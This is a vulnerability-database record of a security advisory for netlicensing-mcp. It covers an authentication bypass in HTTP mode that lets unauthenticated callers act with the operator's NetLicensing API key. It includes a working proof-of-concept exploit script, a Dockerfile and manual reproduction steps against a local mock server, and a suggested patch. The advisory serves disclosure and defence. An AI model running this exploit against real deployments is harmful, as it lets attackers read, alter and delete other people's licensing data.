{"id":"CVE-2026-54446","kind":"vulnerability","aliases":["CVE-2026-54446","GHSA-x9vc-9ffq-p3gj"],"related":[],"title":"NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode","description":"## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\n\n### Summary\n\nWhen `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator's `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.\n\n### Details\n\nThe HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.\n\nThe downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv(\"NETLICENSING_API_KEY\", \"\")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62–70`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).\n\nThe complete exploitable data flow is:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |\n| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |\n| 3 | `server.py:1412–1419` | Middleware attempts (optional) key extraction from headers/query |\n| 4 | `server.py:1427` | **Auth bypass sink**: missing key → `return await call_next(request)` |\n| 5 | `server.py:155–163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |\n| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get(\"/product\", ...)` |\n| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |\n| 8 | `client.py:62–70` | `Authorization: Basic base64(\"apiKey:<key>\")` constructed |\n| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |\n\nCritical code excerpts:\n\n```python\n# src/netlicensing_mcp/server.py\n1418:     if not key:\n1419:         key = request.query_params.get(\"apikey\")\n1421:     if key:\n1422:         token = api_key_ctx.set(key)\n            ...\n1427:     return await call_next(request)   # <-- no rejection when key is absent\n```\n\n```python\n# src/netlicensing_mcp/client.py\n30:  \"api_key\", default=os.getenv(\"NETLICENSING_API_KEY\", \"\")   # server-side fallback\n...\n64:  auth_str = f\"apiKey:{api_key}\"\n70:  \"Authorization\": f\"Basic {token}\",\n...\n109: r = await client.get(url, headers=_headers(), params=params or {})\n```\n\nThe README (`README.md:90–94`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310–318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced.\n\nA suggested patch replaces the unconditional pass-through with a `401` rejection:\n\n```diff\n--- a/src/netlicensing_mcp/server.py\n+++ b/src/netlicensing_mcp/server.py\n@@\n          class ApiKeyMiddleware(BaseHTTPMiddleware):\n              async def dispatch(self, request: Request, call_next):\n+                 if request.url.path == \"/health\":\n+                     return await call_next(request)\n+\n                  key = request.headers.get(\"x-netlicensing-api-key\")\n                  if not key:\n                      auth = request.headers.get(\"authorization\")\n                      if auth and auth.lower().startswith(\"bearer \"):\n                          key = auth[7:]\n@@\n                          return await call_next(request)\n                      finally:\n                          api_key_ctx.reset(token)\n-                 return await call_next(request)\n+                 return JSONResponse(\n+                     {\"error\": \"NetLicensing API key is required for HTTP transport\"},\n+                     status_code=401,\n+                 )\n```\n\n### PoC\n\n**Environment requirements:**\n- Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed)\n- Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a`\n\n**Self-contained Docker reproduction (all-in-one):**\n\n```\n# Build the image from the repository root\ndocker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .\n\n# Run the PoC — exits 0 on confirmed exploit\ndocker run --rm --network=host vuln-001-netlicensing\n```\n\n**Manual step-by-step reproduction:**\n\n```\n# Terminal 1 — mock upstream NetLicensing REST API\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(\"MOCK_REQUEST\", self.command, self.path,\n              self.headers.get(\"Authorization\"), flush=True)\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n    def log_message(self, *args): pass\nHTTPServer((\"127.0.0.1\", 19090), H).serve_forever()\nPY\n\n# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key\nNETLICENSING_API_KEY=SERVERSECRET \\\nNETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \\\nMCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \\\npython3 -m netlicensing_mcp.server http\n\n# Terminal 3 — attacker: connect with NO API key and invoke a tool\npython3 - <<'PY'\nimport asyncio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n    async with streamablehttp_client(\"http://127.0.0.1:18181/mcp\") as (read, write, _):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n            print(await session.call_tool(\"netlicensing_list_products\", {\"filter\": \"\"}))\n\nasyncio.run(main())\nPY\n```\n\n**Expected output in Terminal 1:**\n\n```\nMOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n```\n\nDecoding the Base64 credential confirms the operator's secret was used:\n\n```\n$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d\napiKey:SERVERSECRET\n```\n\n**Observed evidence from dynamic reproduction (Phase 2):**\n\n```\n[MOCK_UPSTREAM] GET /core/v2/rest/product  Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\nDecoded: apiKey:SERVERSECRET\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own\nNETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.\nCWE-306 / VULN-001 reproduced.\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.\n\nConcrete consequences include:\n\n- **Confidentiality**: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.\n- **Integrity**: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.\n- **Availability**: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.\n\n**Who is impacted**: Operators who deploy `netlicensing-mcp` in HTTP transport mode (`python3 -m netlicensing_mcp.server http`) with `NETLICENSING_API_KEY` set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nRUN apt-get update && apt-get install -y --no-install-recommends git \\\n && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy repo (with .git for hatch-vcs versioning) and PoC script\nCOPY repo/ /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\n\n# Install the vulnerable MCP server package and its dependencies\nRUN cd /app/repo && pip install --no-cache-dir .\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\nCWE-306 — Missing Authentication for Critical Function\n\nAttack scenario:\n 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.\n 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.\n 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.\n 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.\n 5. The upstream NetLicensing REST API receives the operator's credential — attacker\n effectively uses the operator's account for all MCP tool invocations.\n\nExpected evidence: mock upstream prints\n Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n Decoded: apiKey:SERVERSECRET\neven though the MCP client sent no credentials.\n\"\"\"\n\nimport asyncio\nimport base64\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ─── Configuration ────────────────────────────────────────────────────────────\n\nMOCK_PORT = 19090\nMCP_PORT = 18181\nSERVER_API_KEY = \"SERVERSECRET\" # simulated operator secret injected via env var\n\n# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────\n\ncaptured_requests: list[dict] = []\nmock_ready = threading.Event()\n\n\nclass MockUpstreamHandler(BaseHTTPRequestHandler):\n def _handle(self):\n auth = self.headers.get(\"Authorization\", \"<none>\")\n entry = {\n \"method\": self.command,\n \"path\": self.path,\n \"authorization\": auth,\n }\n captured_requests.append(entry)\n print(\n f\"[MOCK_UPSTREAM] {self.command} {self.path} \"\n f\"Authorization={auth}\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n\n do_GET = _handle\n do_POST = _handle\n do_PUT = _handle\n\n def log_message(self, *args):\n pass\n\n\ndef _run_mock(port: int) -> None:\n srv = HTTPServer((\"127.0.0.1\", port), MockUpstreamHandler)\n mock_ready.set()\n srv.serve_forever()\n\n\n# ─── Helpers ─────────────────────────────────────────────────────────────────\n\ndef _decode_basic(header: str) -> str | None:\n if not header.startswith(\"Basic \"):\n return None\n try:\n return base64.b64decode(header[6:]).decode()\n except Exception:\n return None\n\n\nasync def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:\n \"\"\"Poll until the MCP /health endpoint responds or timeout.\"\"\"\n import httpx\n deadline = time.monotonic() + timeout\n while time.monotonic() < deadline:\n try:\n async with httpx.AsyncClient() as c:\n r = await c.get(f\"http://{host}:{port}/health\", timeout=1)\n if r.status_code < 500:\n return True\n except Exception:\n pass\n await asyncio.sleep(0.4)\n return False\n\n\n# ─── PoC ──────────────────────────────────────────────────────────────────────\n\nasync def main() -> None:\n # 1. Start mock upstream\n t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)\n t.start()\n mock_ready.wait(timeout=5)\n print(f\"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}\", flush=True)\n\n # 2. Launch vulnerable MCP server in HTTP mode with server-side API key\n env = os.environ.copy()\n env.update({\n \"NETLICENSING_API_KEY\": SERVER_API_KEY,\n \"NETLICENSING_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/core/v2/rest\",\n \"MCP_HOST\": \"127.0.0.1\",\n \"MCP_PORT\": str(MCP_PORT),\n })\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"netlicensing_mcp.server\", \"http\"],\n env=env,\n cwd=\"/app/repo\",\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n print(f\"[*] Vulnerable MCP server started (pid={proc.pid})\", flush=True)\n\n ready = await _wait_for_mcp(\"127.0.0.1\", MCP_PORT, timeout=15)\n if not ready:\n # /health may not exist; just wait a fixed time\n print(\"[*] /health not responding — waiting 5 s anyway ...\", flush=True)\n await asyncio.sleep(5)\n\n if proc.poll() is not None:\n _, err = proc.communicate()\n print(f\"[!] MCP server exited unexpectedly:\\n{err.decode()}\", flush=True)\n sys.exit(1)\n\n print(f\"[*] MCP server ready on 127.0.0.1:{MCP_PORT}\", flush=True)\n\n # 3. Attack: connect WITHOUT any API key and invoke a tool\n print(\n \"\\n[ATTACK] Sending MCP tool call to netlicensing_list_products \"\n \"with NO client API key ...\",\n flush=True,\n )\n try:\n from mcp import ClientSession\n from mcp.client.streamable_http import streamablehttp_client\n\n async with streamablehttp_client(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n ) as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n result = await session.call_tool(\n \"netlicensing_list_products\", {\"filter\": \"\"}\n )\n print(f\"[*] Tool call succeeded: {result}\", flush=True)\n except Exception as exc:\n print(f\"[*] MCP client exception (may be normal upstream error): {exc}\", flush=True)\n finally:\n proc.terminate()\n await asyncio.sleep(0.5)\n\n # 4. Evaluate captured evidence\n print(\"\\n\" + \"=\" * 70, flush=True)\n print(\"CAPTURED UPSTREAM REQUESTS:\", flush=True)\n for req in captured_requests:\n print(f\" {req['method']} {req['path']}\", flush=True)\n print(f\" Authorization: {req['authorization']}\", flush=True)\n decoded = _decode_basic(req[\"authorization\"])\n if decoded:\n print(f\" Decoded: {decoded}\", flush=True)\n print(\"=\" * 70, flush=True)\n\n # 5. Verdict\n server_key_leaked = any(\n SERVER_API_KEY in (_decode_basic(r[\"authorization\"]) or \"\")\n for r in captured_requests\n )\n\n if server_key_leaked:\n print(\n f\"\\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to \"\n f\"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream \"\n f\"NetLicensing API. CWE-306 / VULN-001 reproduced.\",\n flush=True,\n )\n sys.exit(0)\n elif not captured_requests:\n print(\n \"\\n[FAIL] No upstream requests captured — the MCP tool call did not \"\n \"reach the upstream API.\",\n flush=True,\n )\n sys.exit(2)\n else:\n print(\n \"\\n[FAIL] Upstream requests captured but server API key not found in \"\n \"Authorization headers.\",\n flush=True,\n )\n sys.exit(2)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```","summary":"netlicensing-mcp in HTTP mode does not reject requests that lack an API key, so the server uses its own NETLICENSING_API_KEY for upstream calls. An unauthenticated network attacker can run any MCP tool, including delete operations, under the operator's NetLicensing account.","severity":"high","cvss":8.100000381469727,"epss":0.0061900001019239426,"exploited":false,"exploited_at":null,"products":[{"name":"netlicensing-mcp","fixed":["0.1.6"],"affected":"<= 0.1.5","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["aws-app-runner","cwe-306","netlicensing","package","pypi","python","self-hosted"],"not_affected_if":["network-restricted","no-server-side-api-key","stdio-transport-only"],"how_to_check":"Run the server with transport http and check whether /mcp answers a request sent with no x-netlicensing-api-key header and no apikey query parameter.\nIf NETLICENSING_API_KEY is set in the environment of a network-reachable instance, the exposure is confirmed by the advisory's reproduction.","fix":"Upgrade netlicensing-mcp to 0.1.6 or later (affected <= 0.1.5).\nUntil then, do not expose the HTTP transport to untrusted networks or remove the server-side NETLICENSING_API_KEY.","status":"open","published_at":"2026-07-14T20:47:19+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T21:44:12+00:00","updated_at":"2026-10-23T21:44:12+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T21:44:12Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade netlicensing-mcp to 0.1.6 or later (affected <= 0.1.5).\nUntil then, do not expose the HTTP transport to untrusted networks or remove the server-side NETLICENSING_API_KEY.","reach":"internet","impact":"high","summary":"netlicensing-mcp in HTTP mode does not reject requests that lack an API key, so the server uses its own NETLICENSING_API_KEY for upstream calls. An unauthenticated network attacker can run any MCP tool, including delete operations, under the operator's NetLicensing account.","category":"package","who_cares":["python","pypi","netlicensing","self-hosted","aws-app-runner"],"confidence":0.85,"needs_auth":"no","worst_case":"Unauthenticated callers read and modify NetLicensing data under the operator's key.","analyst_note":"","how_to_check":"Run the server with transport http and check whether /mcp answers a request sent with no x-netlicensing-api-key header and no apikey query parameter.\nIf NETLICENSING_API_KEY is set in the environment of a network-reachable instance, the exposure is confirmed by the advisory's reproduction.\nunknown for any other check.","needs_analyst":false,"not_affected_if":["stdio-transport-only","no-server-side-api-key","network-restricted"],"user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001019,"input_tokens":7699,"output_tokens":498,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':17A,25A '-306':35B '-54446':18A,26A '/product':414C '1':358C '105':347C '109':348C,438C,504C '1412':224C '1418':451C '1419':373C,455C '1421':459C '1422':462C '1427':225C,271C,466C '1430':207C '1431':219C '163':395C '17':408C '2':367C '3':371C '3.1':192C '30':299C,480C '318':546C '4':381C '401':573C '5':393C '6':405C '62':332C '64':492C '7':415C '70':333C,430C,499C '8':428C '8.1':195C '9':407C,436C '94':517C '9ffq':22A 'a/src/netlicensing_mcp/server.py':576C 'absent':477C 'account':87B,189C 'action':261C 'advisori':555C 'api':11A,56B,65B,95C,122C,145C,162C,233C,241C,287C,296C,342C,418C,424C,481C,486C,497C,527C 'api_key_ctx.get':311C 'api_key_ctx.set':464C 'apikey':246C,434C,458C,496C 'apikeymiddlewar':112C,213C,369C,579C 'app':32B,211C,361C,366C,541C 'around':205C 'async':581C 'attack':73B,166C 'attempt':226C,375C 'auth':383C,493C 'authent':116C,154C 'author':329C,431C,500C 'aw':31B,540C 'await':266C,389C,468C,506C 'aws-app-runn':30B 'b/src/netlicensing_mcp/server.py':577C 'back':138C 'base':193C 'base64':433C 'basehttpmiddlewar':580C 'basic':328C,432C,502C 'bypass':384C 'call':69B,157C,264C,267C,390C,469C,587C 'caller':397C 'carri':119C 'class':535C,578C 'client':121C,135C,279C,320C,550C 'client.get':441C,507C 'client.py:105':437C 'client.py:30':149C,416C 'client.py:62':429C 'code':447C 'complet':350C 'construct':435C 'context':306C 'contextvar':285C 'creat':362C 'creation/modification':177C 'critic':446C 'ctx':289C,420C 'cve':16A,24A 'cvss':191C 'cwe':34B 'data':352C 'def':582C 'default':292C,421C,483C 'deleg':410C 'delet':80B,180C 'deploy':522C,537C 'descript':357C 'destruct':179C 'detail':197C 'diff':575C 'dispatch':583C 'document':518C 'downstream':133C,276C,278C 'e':525C 'either':236C 'elb':543C 'encod':322C 'enforc':115C,260C,561C 'entir':182C 'env':426C 'environ':147C,317C 'everi':155C,344C 'exampl':544C 'excerpt':448C 'execut':445C 'exploit':351C 'extract':228C,378C 'f':495C,501C 'fail':113C 'fall':137C 'fallback':491C 'first':534C 'first-class':533C 'flow':353C 'forward':126C 'get':413C 'ghsa':20A 'ghsa-x9vc-9ffq-p3gj':19A 'handler':130C 'header':243C,330C,443C,444C,509C,510C 'headers/query':380C 'high':196C 'host':42B 'howev':249C 'http':14A,47B,98C,108C,134C,199C,210C,327C,360C,365C,520C 'ident':187C 'immedi':216C 'implement':222C 'includ':79B,173C,539C 'invok':169C,398C 'key':12A,57B,66B,96C,123C,146C,234C,242C,255C,288C,297C,377C,387C,419C,425C,454C,456C,461C,465C,475C,482C,487C,498C,528C,530C,551C 'lack':54B 'level':316C 'licens':176C 'line':206C,218C,223C,270C,298C,331C,346C 'list':175C,400C 'locat':356C 'mcp':3A,29A,45B,77B,104C,171C 'mcp.streamable':209C,364C 'middlewar':221C,257C,302C,374C 'miss':386C 'mode':15A,48B,99C,110C,521C 'modul':280C 'name':286C 'neither':251C 'netlicens':2A,10A,36B,44B,64B,86B,94C,103C,144C,160C,240C,295C,340C,399C,423C,485C,526C 'netlicensing':28A 'netlicensing-mcp':1A,27A,43B,102C 'network':72B,165C 'never':303C 'next':129C,268C,391C,470C,588C 'nl':412C 'oper':81B,84B,142C,181C,185C 'option':376C,538C 'os.getenv':294C,484C 'p3gj':23A 'packag':37B 'param':511C,512C 'paramet':248C 'pass':272C,569C 'pass-through':568C 'patch':564C 'pattern':523C 'per':231C,549C 'per-client':548C 'per-request':230C 'product':174C,401C,536C 'provid':253C 'pypi':38B 'python':39B,284C,449C,478C 'queri':247C 'quota':190C 'r':505C 'readm':515C 'readme.md:310':545C 'readme.md:318':553C 'readme.md:90':516C 'recommend':552C 'regist':215C,370C 'reject':51B,473C,574C 'replac':565C 'request':52B,117C,232C,269C,275C,310C,345C,392C,471C,585C,586C 'request.query_params.get':457C 'rest':161C,341C 'return':265C,312C,388C,467C 'run':75B,106C 'runner':33B,542C 'score':194C 'self':41B,584C 'self-host':40B 'server':8A,60B,92C,141C,315C,489C 'server-level':314C 'server-sid':7A,91C,488C 'server.py:1412':372C 'server.py:1427':131C,382C 'server.py:1430':359C 'server.py:1431':368C 'server.py:155':394C 'set':304C 'side':9A,93C,490C 'simpli':263C 'sink':385C,440C 'sourc':252C,417C 'src/netlicensing_mcp/client.py':281C,479C 'src/netlicensing_mcp/server.py':204C,450C 'start':202C 'step':355C 'str':494C 'suggest':563C 'summari':100C 'take':258C 'technic':560C 'therefor':168C 'token':463C,503C 'tool':78B,172C,404C,409C 'tools/products.py':406C 'transmit':335C 'transport':109C,200C 'unauthent':4A,71B,88C,164C,274C,309C,396C 'uncondit':125C,567C 'upstream':68B,156C,339C,439C 'url':442C,508C 'use':5A,61B,89C,151C,282C 'valu':324C 'var':427C 'variabl':148C,307C,318C 'via':208C 'x':239C 'x-netlicensing-api-key':238C 'x9vc':21A","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"first_public_at":"2026-07-14T20:47:19+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-x9vc-9ffq-p3gj","url":"https://github.com/advisories/GHSA-x9vc-9ffq-p3gj","severity":"high","published_at":"2026-07-14T20:47:19+00:00","modified_at":"2026-10-22T08:27:46+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-54446","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54446","severity":null,"published_at":"2026-09-17T18:16:46+00:00","modified_at":"2026-09-30T17:51:56+00:00","first_seen_at":"2026-10-23T23:44:52+00:00","fetched_at":"2026-10-23T23:44:52+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}